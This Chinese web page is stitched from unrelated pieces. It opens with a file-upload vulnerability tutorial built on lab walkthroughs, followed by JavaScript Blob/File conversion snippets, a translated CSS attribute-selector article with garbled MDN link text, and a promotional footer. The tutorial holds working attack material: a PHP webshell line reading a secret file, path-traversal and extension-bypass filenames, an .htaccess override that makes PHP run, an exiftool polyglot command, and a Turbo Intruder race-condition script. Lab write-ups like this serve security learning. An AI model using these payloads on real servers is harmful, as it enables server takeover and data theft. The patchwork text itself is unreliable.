件上傳漏洞
本篇文章我們將詳細的介紹一下文件上傳的相關知識,包括原理、攻擊手法、常見的繞過方法、修復方法等。
什么是文件上傳漏洞
文件上傳其實是一個非常常見的功能,幾乎每個網站都會涉及到這個功能,比如 上傳頭像、證件照、業務系統的Excel、txt、報銷憑證等。但是如果一個系統過于信任他的用戶,沒有對用戶上傳的文件名、文件類型、文件內容、大小等進行校驗,則都會造成文件上傳漏洞,如果系統還返回了文件的保存路徑并且可以解析,那這個漏洞可就太完美了。
文件上傳漏洞的危害
文件上傳漏洞能造成什么危害主要取決于兩個方面:
1.這個系統對文件的哪個方面沒有進行校驗,大小、類型還是內容
2.上傳上去的文件收到什么限制
比如說在最完美的情況下(對于攻擊者來說),一個服務器沒有校驗用戶上傳的文件類型,并且服務器配置允許 php jsp 之類的文件去作為一個代碼文件被執行。那么攻擊者就可以上傳一個惡意文件作為 web shell,從而進一步獲取完整的服務器控制權限。
再比如服務器沒有對用戶上傳的文件名進行限制,或者沒有重命名用戶上傳的文件,那可能會允許攻擊者覆寫關鍵的配置文件,如果恰好還存在路徑穿越漏洞,那效果就更炸裂了。
至于說不檢測文件大小,這個的危害大家就更容易理解了,一方面可能會繞過某些防火墻的內容檢測,另一方面,即便沒有惡意代碼,也沒有其他問題,但是它占空間啊,這可都是錢啊,如果文件的保存路徑就是網站運行的機器,那還可能造成類似 Dos 攻擊的效果。
如何預防文件上傳漏洞
1.使用白名單策略,僅允許上傳你需要的文件格式
2.檢查文件名中是否包含可能會影響文件保存路徑的 ../
3.對上傳的文件統一進行重命名
4.所有的驗證動作應該在保存完成之前,而不是先保存,如果驗證不通過再刪除
5.盡量使用已經得到廣泛驗證的框架來處理文件上傳,而不是自己寫一個處理邏輯
6.使用 oss 之類的存儲方式,它們不會對文件進行解析,即便上傳上去惡意文件也無法使用
案例詳解
最簡單的文件上傳漏洞
作為示例,我們先看一個沒有任何驗證的文件上傳功能,來了解這個漏洞
任務簡報
這個網站在圖片上傳的位置存在一個文件上傳漏洞,你要做的是上傳一個基于 php 的web shell 來獲取到 /home/carlos/secret 的內容
任務過程
1.首先我們先把我們要上傳的文件準備好,里面要包含獲取文件內容的代碼
echo file_get_contents('/home/carlos/secret'); ?>
2.然后我們看看它的上傳功能是什么樣子的
3.隨便上傳一個東西看一下,它的請求包的構成
4.我們可以看到它使用的是 multipart/form-data 上傳的文件,同時文件名在 Content-Disposition 請求頭中,響應包回顯了一個疑似文件路徑的地址,那我們就拼接一下,看能不能訪問到這個圖片
5.可以看到失敗了,沒有關系,我們還可以看看這個圖片對應的鏈接是什么,在圖片的位置右鍵,選擇在新的標簽頁中打開
6.這時我們就可以看到完整的文件路徑了,那下一步當然就是要干點壞事了,上傳我們的 webshell 看看有什么限制
7.可以看到沒有任何限制,直接就傳上去了,那我們就可以直接訪問了 /files/avatars/burp.php
8.ok,任務完成,收工下班
一些繞過方法
繞過文件類型限制
這個方法只針對那些通過檢測 content-type 頭的值的情況,如果服務器還校驗其他的比如 文件后綴、文件內容,那就不行了
任務簡報
這個網站在圖片上傳的位置存在一個文件上傳漏洞,你要做的是上傳一個基于 php 的web shell 來獲取到 /home/carlos/secret 的內容
任務過程
1.網站還是和之前的一樣,我們直接上傳一個 php 文件看看有什么反應
2.這里可以看到,服務器報錯說我們的文件類型是 application/octet-stream ,但是網站只允許上傳 image/jpeg 和 image/png,遇到這種情況,我們可以直接替換掉 content-type 頭的值,來嘗試繞過,如果服務端后續沒有對文件內容和文件后綴進行檢測的話是有很大概率可以繞過的
3.可以看到文件被成功上傳了上去,那我們還是直接訪問它拿到 flag /files/avatars/burp.php
只讀路徑繞過
大家可能遇到那種文件上傳上去了,也拿到保存的路徑了,但是訪問之后返回的是你的代碼,而不是代碼的執行結果。這種情況可能有幾種原因:
1.文件被上傳到文件服務器了,這個服務器只配置了只讀的權限
2.文件被上傳到統一服務器的只讀目錄了
3.文件被上傳到 oss 這類對象存儲服務器上了
這里介紹的就是第二種情況,對于另外兩種情況,如果你沒有辦法把文件上傳到網站運行的服務器上,那就可以宣布放棄了
任務簡報
這個網站在圖片上傳的位置存在一個文件上傳漏洞,你要做的是上傳一個基于 php 的web shell 來獲取到 /home/carlos/secret 的內容
任務過程
1.還是老樣子,上傳我們的惡意文件看看是個什么效果
2.好的成功上傳,那我們訪問看看
3.這里我們可以看到網站把我們的文件當成了一個靜態資源反了回來,并沒有執行它,但是我們可以發現它是保存在網站運行的服務器上的,那可能就是第二種情況了,avatars 這個目錄是一個只讀目錄,那我們就需要嘗試把這個文件上傳到其他目錄了,payload ../burp.php
4.這里我們可以發現,網站似乎把我們的 ../ 給吞掉了,那我們就改成 ..%2Fburp.php 試試
5.這次就對了,我們去訪問一下這個地址,看看它是不是也是只讀的 files/burp.php
6.這次我們就拿到 flag 了,收工下班
黑名單繞過
檢測用戶上傳的文件類型是不是在黑名單里這種策略有點用,但不完全有用,因為我們總是有各種奇奇怪怪的方法可以繞過黑名單檢測,比如 大小寫、加數字后綴(php1) 之類的。
當然對于一些特殊情況下以下方法也能繞過黑名單
1.大小寫繞過,PhP、Jsp
2.多個后綴,burp.php.jpg (代碼校驗最后一個后綴,中間件解析第一個后綴的情況)
3.添加后綴字符,burp.php. (一些組件會忽略后面的空白或點)
4.URL編碼,burp%2Ephp
5.00截斷,burp.php%00.jpg (代碼校驗用java或php等高級語言編寫,但是服務器處理文件使用的是C/C++的低級函數,可能會使兩者出現差異)
6.雙寫后綴,burp.p.phphp (代碼發現危險格式.php后將其置空,使得前后的字符組成了一個新的 .php)
任務簡報
這個網站在圖片上傳的位置存在一個文件上傳漏洞,你要做的是上傳一個基于 php 的web shell 來獲取到 /home/carlos/secret 的內容。
但是這個網站禁止了一些惡意文件的上傳,想辦法繞過它,達成你的目的
任務過程
1.還是老樣子,我們上傳一個文件看看是怎么個事
2.這里說了,我們上傳的文件不被允許,那我們就看看這個服務器是 Windows 的還是 Linux 的,如果是 Windows 的,那我們就可以試試大小寫繞過
3.這里我們把路徑從 my-account 改成了 my-aCCount 任然可以訪問成功,說明服務器對大小寫不敏感,大概率是Windows的服務器或者說代碼對大小寫不敏感,那我們就試試把 burp.php 改成 burp.PhP 和 burp.phP13 試試
4.可以看到,PhP 上傳失敗,phP13 雖然上傳成功,但是并沒有被作為代碼解析,那我們還是試試有沒有路徑穿越
5.很遺憾,它把我上傳的文件名作為了一個字符串,而不是一個目錄切換的符號,那我們只能想想辦法,讓服務器把 phP13 作為一個 php 代碼來解析一下了。這里我們可以使用覆蓋配置文件的方法來把 phP13 定義為 application/x-httpd-php 從而告訴 Apache 使用 PHP 解析器來處理這種類型的文件
6.上面我們通過訪問 /files/avatars/.htaccess 確定了這個路徑下存在 .htaccess 這個文件,那下一步就是覆寫它了
AddType application/x-httpd-php .phP13
7.上傳這個文件,注意修改文件名和文件類型分別為 .htaccess 和 text/plain
8.此時我們再訪問 files/avatars/burp.phP13,服務器就會把它交給 php 解釋器去執行了
內容校驗繞過
有些網站對于文件上傳的監測不是基于文件后綴或者文件類型,而是去檢測文件的內容,看它是不是自己要求的文件,比如PEG文件總是以字節FF D8 FF開頭,他們就檢測文件的開頭是不是這個。
但是這種方法也不是絕對安全的,我們可以使用 ExifTool 之類的工具去制作一個元數據中包含惡意代碼的多語言JPEG文件。
任務簡報
這個網站在圖片上傳的位置存在一個文件上傳漏洞,你要做的是上傳一個基于 php 的web shell 來獲取到 /home/carlos/secret 的內容。
任務過程
1.我們還是上傳一個php文件看看是什么情況
2.它說我的不是一個有效的圖片,那我們使用 ExifTool 制作一個帶有圖片的php代碼文件 exiftool -Comment="".jpg -o exploit.php,然后上傳上去
3.可以看到,這個命令給圖片的開頭插入了我們的php代碼,并且成功上傳了上去,接下來我們訪問一下看看
4.start 和 end 中間的代碼就是我們的 flag 了,提交收工
條件競爭繞過
可能大家會說,我怎么沒遇到過這么簡單的驗證條件。
這個確實,現在大部分網站如果使用的較新的框架的話,它們對文件上傳的處理是比較完善的,通常你上傳的文件并不會直接保存到目的地址,而是先將其暫存在一個沙箱或者臨時目錄,然后重命名一個隨機文件名防止覆蓋原有文件,等所有的驗證都沒問題了,才會將其保存至預設的保存路徑。
但是有的公司系統是自研的,他們不想使用開源的框架,就是自己寫的文件上傳組件,他們可能購買了一些設備來檢測上傳的文件,這就使得他們的研發有可能過于依賴這個設備,他們會選擇將文件直接上傳到文件系統上,然后讓防病毒設備進行檢測,如果檢測出問題再刪除掉它,雖然這個過程可能只有幾毫秒,但是依然是有可能被攻擊者執行的,也就是我們本節介紹的條件競爭。
但是這種情況的檢測比較依賴代碼審計,在純盒測試中,可能由于運氣的問題,或者你的并發不夠高,而導致你檢測不出來這個漏洞。
至于怎么預防這種漏洞,其實可以使用隨機的臨時目錄名來解決,只要讓攻擊者預測不到你的臨時目錄,那么他就不能通過請求這個文件來執行這個web shell,從而保證即便存在這個漏洞,它也無法利用。
任務簡報
這個網站在圖片上傳的位置存在一個文件上傳漏洞,你要做的是上傳一個基于 php 的web shell 來獲取到 /home/carlos/secret 的內容。
任務過程
1.還是上傳一個文件看看是個什么情況
2.可以看到即使使用我們上一節制作的帶有圖片的惡意php文件也無法上傳,正常來說我們是不知道后臺的判斷邏輯的,只能嘗試我們已知的各種繞過后給出以下結論
3.但是我們這是個靶場啊,那就試試上面提到的插件 Turbo Intruder,找到上傳文件的那個數據包,右鍵發送到插件
4.下面就需要一定的python代碼基礎了,我們首先準備以下代碼
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=10, # 并發連接數
requestsPerConnection=100, # 每個連接的請求數
pipeline=False) # 是否使用管道
# 定義第一個請求上傳web sheel
request1 = '''POST /my-account/avatar HTTP/1.1
Host: 0afc00a704df996f80c6ee7f00260038.web-security-academy.net
Cookie: session=3Zozd04zEhIUbPMG8YeDTMvAeYn6HZmN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------181290533733138099554259295581
Content-Length: 549
Origin: https://0afc00a704df996f80c6ee7f00260038.web-security-academy.net
Referer: https://0afc00a704df996f80c6ee7f00260038.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
-----------------------------181290533733138099554259295581
Content-Disposition: form-data; name="avatar"; filename="burp.php"
Content-Type: application/octet-stream
-----------------------------181290533733138099554259295581
Content-Disposition: form-data; name="user"
wiener
-----------------------------181290533733138099554259295581
Content-Disposition: form-data; name="csrf"
MQYNOxJzNmz9WZV3V7JcPuDmXb01NQst
-----------------------------181290533733138099554259295581--
'''
# 定義第二個請求,執行剛才的web shell
request2 = '''GET /files/avatars/burp.php HTTP/1.1
Host: 0afc00a704df996f80c6ee7f00260038.web-security-academy.net
Cookie: session=3Zozd04zEhIUbPMG8YeDTMvAeYn6HZmN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers\r\n\r\n''' # 注意這里的 \r\n\r\n 這個是必須有的,用來閉合請求
# 使用gate 'race1'將第一個請求加入隊列
engine.queue(request1, gate='race1')
# 使用相同的gate 'race1'將第二個請求加入隊列9次
for x in range(9):
engine.queue(request2, gate='race1')
# 等待所有標記為'race1'的請求準備好
# 然后,發送每個請求的最后一個字節
# 這個方法是非阻塞的,就像queue方法一樣
engine.openGate('race1')
# 等待引擎在給定的超時時間內完成所有請求
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
5.這里點擊最下面的 attack 開始攻擊,之后查看響應為 200 的就可以獲得 flag 了
6.OK 收工下班
PUT 方法上傳
這個就比較簡單了,使用 OPTIONS 方法去請求這個網站,看看它支不支持 PUT 方法,支持的話就直接使用 PUT 上傳就好了,沒什么技術含量
總結
基本上常用的文件上傳的驗證方式和繞過本文都提及了,在實際測試中我們可能會同時使用上幾個技術來實現繞過,所以還是需要師傅們活學活用,不要被經驗束縛住了,共勉。
本文來源于隱霧安全
利用new File();
function blobToFile(blob, filename, type) {
return new File([blob], filename, { type })
}
blobToFile('test info', 'test', 'text/plain' )
輸出如下
更進一步了解可閱讀MDN File - Web API 鎺ュ彛鍙傝€? | MDNMDN Web DocsMDN logoMozilla logo
Blob() - Web API 接口參考 | MDN講解
利用URL.createObjectURL()
<input type="file" id="file">
<img id="img">
let img = document.getElementById('img')
let file = document.getElementById('file')
file.onchange = function () {
let imgFile = this.files[0]
img.src = URL.createObjectURL(imgFile)
img.onload = function () {
URL.revokeObjectURL(this.src)
}
}
更進一步了解可閱讀 MDN URL.createObjectURL() - Web API 鎺ュ彛鍙傝€? | MDNMDN Web DocsMDN logoMozilla logo 講解
let img = document.getElementById('img')
let file = document.getElementById('file')
file.onchange = function (e) {
let imgFile = this.files[0]
let fileReader = new FileReader()
fileReader.readAsDataURL(imgFile)
fileReader.onload = function () {
img.src = this.result
}
}
更進一步了解可閱讀FileReader - Web API 鎺ュ彛鍙傝€? | MDNMDN Web DocsMDN logoMozilla logo簡介
function dataURLToFile (dataUrl, fileName) {
const dataArr = dataUrl.split(',')
const mime = dataArr[0].match(/:(.*);/)[1]
const originStr = atob(dataArr[1])
return new File([originStr], fileName, { type: mime })
}
dataURLToFile('data:text/plain;base64,YWFhYWFhYQ==', '測試文件')
// File {name: '測試文件', lastModified: 1640784525620, lastModifiedDate: Wed Dec 29 2021 21:28:45 GMT+0800 (中國標準時間), webkitRelativePath: '', size: 7, …}
復雜處理方式如下
function dataURLToFile (dataUrl, filename) {
const dataArr = dataUrl.split(',')
const mime = dataArr[0].match(/:(.*);/)[1]
const originStr = atob(dataArr[1])
let n = originStr.length
const u8Arr = new Uint8Array(n)
while (n--) {
u8Arr[n] = originStr.charCodeAt(n)
}
return new File([u8Arr], filename, { type: mime })
}
dataURLToFile('data:text/plain;base64,YWFhYWFhYQ==', '測試文件')
console.log(dataURLToFile('data:text/plain;base64,YWFhYWFhYQ==','測試文件'));
// File {name: '測試文件', lastModified: 1640784866937, lastModifiedDate: Wed Dec 29 2021 21:34:26 GMT+0800 (中國標準時間), webkitRelativePath: '', size: 7, …}
利用canvas.toDataURL()
// html
<input type="file" accept="image/*" id="file">
// js
document.querySelector('#file').onchange = function () {
canvasToDataURL(this.files[0]).then(res => console.log(res))
}
function canvasToDataURL (file) {
return new Promise(resolve => {
const img = document.createElement('img')
img.src = URL.createObjectURL(file)
img.onload = function () {
const canvas = document.createElement('canvas')
canvas.width = img.width
canvas.height = img.height
const ctx = canvas.getContext('2d')
ctx.drawImage(img, 0, 0)
resolve(canvas.toDataURL('image/png', 1))
}
})
}
function dataUrlToCanvas (dataUrl) {
return new Promise(resolve => {
const img = new Image()
img.src = dataUrl
img.onload = function () {
const canvas = document.createElement('canvas')
canvas.width = this.width
canvas.height = this.height
const ctx = canvas.getContext('2d')
ctx.drawImage(this, 0, 0)
resolve(canvas)
}
})
}
const dataUrl = 'data:image/png;base64,iVBORw0KGgoAAAANSUh...'
dataUrlToCanvas(dataUrl)
.then(res => document.body.appendChild(res))
利用canvas.toBlob()
// html
<input type="file" accept="image/*" id="file">
// js
document.querySelector('#file').onchange = function () {
canvasToDataURL(this.files[0])
.then(res => console.log(res))
}
function canvasToDataURL (file) {
return new Promise(resolve => {
const img = document.createElement('img')
img.src = URL.createObjectURL(file)
img.onload = function () {
const canvas = document.createElement('canvas')
canvas.width = img.width
canvas.height = img.height
const ctx = canvas.getContext('2d')
ctx.drawImage(img, 0, 0)
canvas.toBlob(function (e) {
resolve(e)
}, 'image/png', 1)
}
})
將canvas轉成Blob,然后將Blob轉成file即可,可看最開始的文件類型轉換流程圖。
或將canvas轉成dataURL,然后將dataURL轉成file即可,可看最開始的文件類型轉換流程圖。
利用FileReader.readAsArrayBuffer()
function blobToArrayBuffer (blob, callback) {
const reader = new FileReader()
reader.readAsArrayBuffer(blob)
reader.onload = function () {
callback(this.result)
}
}
let blob = new Blob([1, 2, 3, 4, 5])
blobToArrayBuffer(blob, (arrayBuffer) => { console.log(arrayBuffer) })
// ArrayBuffer(5)
利用new Blob()
function arrayBufferToBlob (arrayBuffer, type) {
return new Blob([arrayBuffer], { type })
}
blobToArrayBuffer(new Blob([1, 2, 3, 4, 5]), (arrayBuffer) => {
console.log(arrayBufferToBlob(arrayBuffer, 'text/plain'))
// Blob {size: 5, type: 'text/plain'}
})
————————————————
版權聲明:本文為CSDN博主「定栓」的原創文章,遵循CC 4.0 BY-SA版權協議,轉載請附上原文出處鏈接及本聲明。
原文鏈接:https://blog.csdn.net/weixin_44116302/article/details/122064841
文:https://www.smashingmagazine.com/2018/10/attribute-selectors-splicing-html-dna-css/
如題。但是不要擔心,雖然屬性選擇器非常復雜和強大,但是它們很容易學習和使用。在本文中,我們將討論它們是如何運行的,并給出一些如何使用它們的想法。
通常將 HTML 屬性放在方括號中,稱為屬性選擇器,如下:
[href] { color: red; }
這樣任何具有href屬性的且沒有更特定選擇器的元素的文本顏色都會是紅色的。屬性選擇器的特性與類相同。
注:更多關于籠匹配的CSS特異性,你可以閱讀CSS特性:你應該知道的事情,或者如果你喜歡星球大戰:CSS特性戰爭。
但是你可以使用屬性選擇器做得更多。就像你的 DNA 一樣,它們有內在的邏輯來幫助你選擇各種屬性組合和值。它們可以匹配屬性中的任何屬性,甚至字符串值,而不是像標簽、類或id選擇器那樣精確匹配。
屬性選擇器可以獨立存在,更具體地說,如果需要選擇所有具有title屬性的div標簽,可以這么做:
div[title]
但你也可以通過以下操作選擇具有 title 屬性的 div 的子元素
div [title]
需要說明的是,它們之間沒有空格意味著屬性位于相同的元素上(就像元素和類之間沒有空格一樣),而它們之間的空格意味著后代選擇器,即選擇具有該屬性的元素的子元素。
你可以更精細地選擇具體屬性值的屬性。
div[title="dna"]
上面選擇了所有具有確切名稱dna的div,雖然有選擇器算法可以處理每種情況(以及更多),但這里不會選擇“dna is awesome”或“dnamutation”的標題。
注意:在大多數情況下,屬性選擇器中不需要引號,但是我使用它們,因為我相信它可以提高清代碼的可讀性,并確保邊界用例能夠正常工作。
如果你想選擇 title 包含 dna的元素,如 “my beautiful dna” 或者 “mutating dna is fun!” ,可以使用波浪號(~)。
div[title~="dna"]
如果你想匹配以 dna 結尾的 title,如 “dontblamemeblamemydna” 或 “his-stupidity-is-from-upbringing-not-dna” ,剛可以使用$標志符:
[title$="dna"]
如果你想匹配以 dna 開頭的 title,如 “dnamutants” 或 “dna-splicing-for-all” ,剛可以使用^標志符:
[title^="dna"]
雖然精確匹配是有幫助的,但它可能選擇太緊,并且^符號匹配可能太寬而無法滿足你的需要。 例如,可能不想選擇 “genealogy” 的標題,但仍然選擇“gene”和“gene-data”。 管道特征(|)就是這樣,屬性中必須是完整且唯一的單詞,或者以-分隔開。
[title|="gene"]
最后,還有一個匹配任何子字符串的模糊搜索屬性操作符,屬性中做字符串拆分,只要能拆出來dna這個詞就行:
[title*="dna"]
使這些屬性選擇器更加強大的是,它們是可堆疊的,允許你選擇具有多個匹配因子的元素。
如果你需要找到一個a 標簽,它有一個 title ,并且有一個以“genes” 結尾的 class,可以使用如下方式:
a[title][class$="genes"]
你不僅可以選擇 HTML 元素的屬性,還可以使用偽類型元素來打印出文本:
<span class="joke" title="Gene Editing!">What’s the first thing a biotech journalist does after finishing the first draft of an article?</span>
.joke:hover:after { content: "Answer:" attr(title); display: block; }
上面的代碼在鼠標懸停時將顯示一串自定義的字符串。
最后要知道的是,您可以添加一個標志,讓屬性搜索不區分大小寫。 在結束方括號之前添加i:
[title*="DNA" i]
因此它會匹配dna, DNA, dnA等。
現在我們已經看到了如何使用屬性選擇器進行選擇,讓我們看看一些用例。 我將它們分為兩類:一般用途和診斷。
輸入類型樣式的設置
你可以對輸入類型使用不同的樣式,例如電子郵件和電話。
input[type="email"] { color: papayawhip; } input[type="tel"] { color: thistle; }
顯示電話鏈接
你可以隱藏特定尺寸的電話號碼并顯示電話鏈接,以便在手機上輕松撥打電話。
span.phone { display: none; } a[href^="tel"] { display: block; }
內部鏈接 vs 外部鏈接,安全鏈接 vs 非安全鏈接
你可以區別對待內部和外部鏈接,并將安全鏈接設置為與不安全鏈接不同:
a[href^="http"]{ color: bisque; } a:not([href^="http"]) { color: darksalmon; } a[href^="http://"]:after { content: url(unlock-icon.svg); } a[href^="https://"]:after { content: url(lock-icon.svg); }
下載圖標
HTML5 給我們的一個屬性是“下載”,它告訴瀏覽器,你猜對了,下載該文件而不是試圖打開它。這對于你希望人們訪問但不希望它們立即打開的 PDF 和 DOC 非常有用。它還使得連續下載大量文件的工作流程更加容易。下載屬性的缺點是沒有默認的視覺效果將其與更傳統的鏈接區分開來。通常這是你想要的,但如果不是,你可以做類似下面的事情:
a[download]:after { content: url(download-arrow.svg); }
還可以使用不同的圖標(如PDF與DOCX與ODF等)來表示文件類型,等等。
a[href$="pdf"]:after { content: url(pdf-icon.svg); } a[href$="docx"]:after { content: url(docx-icon.svg); } a[href$="odf"]:after { content: url(open-office-icon.svg); }
你還可以通過疊加屬性選擇器來確保這些圖標只出現在可下載鏈接上。
a[download][href$="pdf"]:after { content: url(pdf-icon.svg); }
覆蓋或重新使用已廢棄/棄用的代碼
我們都遇到過時代碼過時的舊網站,在 HTML5 之前,你可能需要覆蓋甚至重新應用作為屬性實現的樣式。
<div bgcolor="#000000" color="#FFFFFF">Old, holey genes</div> div[bgcolor="#000000"] { /*override*/ background-color: #222222 !important; } div[color="#FFFFFF"] { /*reapply*/ color: #FFFFFF; }
重寫特定的內聯樣式
有時候你會遇到一些內聯樣式,這些樣式會影響布局,但這些內聯樣式我們又沒修改。那么以下是一種方法。
如果你道要覆蓋的確切屬性和值,并且希望在它出現的任何地方覆蓋它,那么這種方法的效果最好。
對于此示例,元素的邊距以像素為單位設置,但需要在 em 中進行擴展和設置,以便在用戶更改默認字體大小時可以正確地重新調整元素。
<div style="color: #222222; margin: 8px; background-color: #EFEFEF;" Teenage Mutant Ninja Myrtle</div> div[style*="margin: 8px"] { margin: 1em !important; }
顯示文件類型
默認情況下,文件輸入的可接受文件列表是不可見的。 通常,我們使用偽元素來暴露它們:
<input type="file" accept="pdf,doc,docx"> [accept]:after { content: "Acceptable file types: " attr(accept); }
html 手風琴菜單
details和summary標簽是一種只用HTML做擴展/手風琴菜單的方法,details 包括了summary標簽和手風琴打開時要展示的內容。點擊summary會展開details標簽并添加open屬性,我們可以通過open屬性輕松地為打開的details標簽設置樣式:
details[open] { background-color: hotpink; }
打印鏈接
在打印樣式中顯示URL使我走上了理解屬性選擇器的道路。 你現在應該知道如何自己構建它, 你只需選擇帶有href的所有標簽,添加偽元素,然后使用attr()和content打印它們。
a[href]:after { content: " (" attr(href) ") "; }
自定義提示
使用屬性選擇器創建自定義工具提示既有趣又簡單:
[title] { position: relative; display: block; } [title]:hover:after { content: attr(title); color: hotpink; background-color: slateblue; display: block; padding: .225em .35em; position: absolute; right: -5px; bottom: -5px; }
便捷鍵
web 的一大優點是它提供了許多不同的信息訪問選項。一個很少使用的屬性是設置accesskey的能力,這樣就可以通過鍵組合和accesskey設置的字母直接訪問該項目(確切的鍵組合取決于瀏覽器)。但是要想知道網站上設置了哪些鍵并不是件容易的事
下面的代碼將顯示這些鍵:focus。我不使用鼠標懸停,因為大多數時候需要accesskey的人是那些使用鼠標有困難的人。你可以將其添加為第二個選項,但要確保它不是惟一的選項。
a[accesskey]:focus:after { content: " AccessKey: " attr(accesskey); }
這些選項用于幫助我們在構建過程中或在嘗試修復問題時在本地識別問題。將這些內容放在我們的生產網站上會使用戶產生錯誤。
沒有 controls 屬性的 audio
我不經常使用audio標簽,但是當我使用它時,我經常忘記包含controls屬性。 結果:沒有顯示任何內容。 如果你在 Firefox,如果隱藏了音頻元素,或者語法或其他一些問題阻止它出現(僅適用于Firefox),此代碼可以幫助你解決問題:
audio:not([controls]) { width: 100px; height: 20px; background-color: chartreuse; display: block; }
沒有 alt 文本
沒有 alt 文本的圖像是可訪問性的噩夢。只需查看頁面就很難找到它們,但如果添加它們,它們就會彈出來(當頁面圖片加載失敗時,alt文字可以更好的解釋圖片的作用):
img:not([alt]) { /* no alt attribute */ outline: 2em solid chartreuse; } img[alt=""] { /* alt attribute is blank */ outline: 2em solid cadetblue; }
異步 Javascript 文件
網頁可以是內容管理系統和插件,框架和代碼的集合,確定哪些JavaScript異步加載以及哪些不加載可以幫助你專注于提高頁面性能。
script[src]:not([async]) { display: block; width: 100%; height: 1em; background-color: red; } script:after { content: attr(src); }
JavaScript 事件元素
你可以突出顯示具有JavaScript事件屬性的元素,以便將它們重構到JavaScript文件中。這里我主要關注OnMouseOver屬性,但是它適用于任何JavaScript事件屬性。
[OnMouseOver] { color: burlywood; } [OnMouseOver]:after { content: "JS: " attr(OnMouseOver); }
隱藏項
如果需要查看隱藏元素或隱藏輸入的位置,可以使用它們來顯示
[hidden], [type="hidden"] { display: block; }
喜歡小編的可以點個贊關注小編哦,小編每天都會給大家分享文章。
我自己是一名從事了多年的前端老程序員,小編為大家準備了新出的前端編程學習資料,免費分享給大家!
如果你也想學習前端,那么幫忙轉發一下然后再關注小編后私信【1】可以得到我整理的這些前端資料了(私信方法:點擊我頭像進我主頁有個上面有個私信按鈕)
*請認真填寫需求信息,我們會在24小時內與您取得聯系。